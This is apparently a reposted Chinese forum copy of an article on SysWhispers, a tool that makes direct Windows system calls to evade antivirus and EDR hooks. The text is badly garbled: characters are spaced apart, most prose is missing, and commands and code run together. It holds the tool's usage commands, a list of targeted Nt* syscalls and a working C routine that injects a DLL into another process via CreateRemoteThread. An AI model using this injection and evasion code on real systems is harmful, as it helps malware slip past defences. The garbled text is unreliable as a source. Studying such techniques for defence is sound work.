[14974] 2020-02-04_SysWhispers:如何通过直接系统调用实现AVEDR绕过

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-18
2020-02-04_SysWhispers:如何通过直接系统调用实现AVEDR绕过 S y s W h i s p e r s A V E D R A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 0 2 - 0 4 S y s W h i s p e r s S y s W h i s p e r s H e a d e r A S M W i n d o w s   X P W i n d o w s   1 0 e x a m p l e - o u t p u t / A P I N t d l l . d l l S y s W h i s p e r s n t o s k r n l . e x e H e a d e r / A S M W i n d o w s   X P W i n d o w s   1 0 H e a d e r 使 A V / E D R 使 使 W i n d o w s W i n d o w s   7 8 1 0 N t P r o t e c t V i r t u a l M e m o r y N t W r i t e V i r t u a l M e m o r y W i n d o w s   7 8 1 0 >   g i t   c l o n e   h t t p s : / / g i t h u b . c o m / j t h u r a i s a m y / S y s W h i s p e r s . g i t >   c d   S y s W h i s p e r s >   p i p 3   i n s t a l l   - r   . r e q u i r e m e n t s . t x t >   p y   . s y s w h i s p e r s . p y   - - h e l p p y   . s y s w h i s p e r s . p y   - - p r e s e t   a l l   - o   s y s c a l l s _ a l l p y   . s y s w h i s p e r s . p y   - - p r e s e t   c o m m o n   - o   s y s c a l l s _ c o m m o n p y   . s y s w h i s p e r s . p y   - - f u n c t i o n s   N t P r o t e c t V i r t u a l M e m o r y , N t W r i t e V i r t u a l M e m o r y   - o   s y s c a l l s _ m e m
C r e a t e R e m o t e T h r e a d   D L L 使 p r e s e t   c o m m o n H e a d e r / A S M N t C r e a t e P r o c e s s   ( C r e a t e P r o c e s s ) N t C r e a t e T h r e a d E x   ( C r e a t e R e m o t e T h r e a d ) N t O p e n P r o c e s s   ( O p e n P r o c e s s ) N t O p e n T h r e a d   ( O p e n T h r e a d ) N t S u s p e n d P r o c e s s N t S u s p e n d T h r e a d   ( S u s p e n d T h r e a d ) N t R e s u m e P r o c e s s N t R e s u m e T h r e a d   ( R e s u m e T h r e a d ) N t G e t C o n t e x t T h r e a d   ( G e t T h r e a d C o n t e x t ) N t S e t C o n t e x t T h r e a d   ( S e t T h r e a d C o n t e x t ) N t C l o s e   ( C l o s e H a n d l e ) p y   . s y s w h i s p e r s . p y   - - v e r s i o n s   7 , 8 , 1 0   - o   s y s c a l l s _ 7 8 X P S   C : P r o j e c t s S y s W h i s p e r s >   p y   . s y s w h i s p e r s . p y   - - p r e s e t   c o m m o n   - - o u t - f i l e   s y s c o m     ,                   ,               , _   / _       .     ,       , _         _       , _       , _ / _ ) _ _ ( _ / _ _ / _ ) _ _ / _ / _ /   /   ( _ _ / _ _ / _ ) _ _ / _ ) _ _ ( / _ _ /   ( _ _ / _ ) _ _             _ / _                                                   /           ( /                                                     /       @ J a c k s o n _ T ,   2 0 1 9 S y s W h i s p e r s :   W h y   c a l l   t h e   k e r n e l   w h e n   y o u   c a n   w h i s p e r ? C o m m o n   f u n c t i o n s   s e l e c t e d . C o m p l e t e !   F i l e s   w r i t t e n   t o :                 s y s c o m . a s m                 s y s c o m . h p y   . s y s w h i s p e r s . p y   - f   N t A l l o c a t e V i r t u a l M e m o r y , N t W r i t e V i r t u a l M e m o r y , N t C r e a t e T h r e a d E x   - o   s y s c a l l s # i n c l u d e   < W i n d o w s . h > v o i d   I n j e c t D l l ( c o n s t   H A N D L E   h P r o c e s s ,   c o n s t   c h a r *   d l l P a t h ) {         L P V O I D   l p B a s e A d d r e s s   =   V i r t u a l A l l o c E x ( h P r o c e s s ,   N U L L ,   s t r l e n ( d l l P a t h ) ,   M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ R E A D W R I T E ) ;         L P V O I D   l p S t a r t A d d r e s s   =   G e t P r o c A d d r e s s ( G e t M o d u l e H a n d l e ( L " k e r n e l 3 2 . d l l " ) ,   " L o a d L i b r a r y A " ) ;         W r i t e P r o c e s s M e m o r y ( h P r o c e s s ,   l p B a s e A d d r e s s ,   d l l P a t h ,   s t r l e n ( d l l P a t h ) ,   n u l l p t r ) ;         C r e a t e R e m o t e T h r e a d ( h P r o c e s s ,   n u l l p t r ,   0 ,   ( L P T H R E A D _ S T A R T _ R O U T I N E ) l p S t a r t A d d r e s s ,   l p B a s e A d d r e s s ,   0 ,   n u l l p t r ) ; }
N t R e a d V i r t u a l M e m o r y   ( R e a d P r o c e s s M e m o r y ) N t W r i t e V i r t u a l M e m o r y   ( W r i t e P r o c e s s M e m o r y ) N t A l l o c a t e V i r t u a l M e m o r y   ( V i r t u a l A l l o c E x ) N t P r o t e c t V i r t u a l M e m o r y   ( V i r t u a l P r o t e c t E x ) N t F r e e V i r t u a l M e m o r y   ( V i r t u a l F r e e E x ) N t Q u e r y S y s t e m I n f o r m a t i o n   ( G e t S y s t e m I n f o ) N t Q u e r y D i r e c t o r y F i l e N t Q u e r y I n f o r m a t i o n F i l e N t Q u e r y I n f o r m a t i o n P r o c e s s N t Q u e r y I n f o r m a t i o n T h r e a d N t C r e a t e S e c t i o n   ( C r e a t e F i l e M a p p i n g ) N t O p e n S e c t i o n N t M a p V i e w O f S e c t i o n N t U n m a p V i e w O f S e c t i o n N t A d j u s t P r i v i l e g e s T o k e n   ( A d j u s t T o k e n P r i v i l e g e s ) N t D e v i c e I o C o n t r o l F i l e   ( D e v i c e I o C o n t r o l ) N t Q u e u e A p c T h r e a d   ( Q u e u e U s e r A P C ) N t W a i t F o r M u l t i p l e O b j e c t s   ( W a i t F o r M u l t i p l e O b j e c t s E x ) V i s u a l   S t u d i o 1 H e a d e r / A S M 2 V i s u a l   S t u d i o P r o j e c t B u i l d   C u s t o m i z a t i o n s M A S M 3 S o l u t i o n   E x p l o r e r . h . a s m H e a d e r 4 A S M I t e m M i c r o s o f t   M a c r o   A s s e m b l e r 5 x 6 4 3 2 1 6 4 W i n d o w s 2 w i n 3 2 k . s y s 3 W i n d o w s   1 0   S D K V i s u a l   S t u d i o   2 0 1 9 v 1 4 2 S y s W h i s p e r s h t t p s : / / g i t h u b . c o m / j t h u r a i s a m y / S y s W h i s p e r s *   j t h u r a i s a m y F B A l p h a _ h 4 c k F r e e B u f . C O M

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则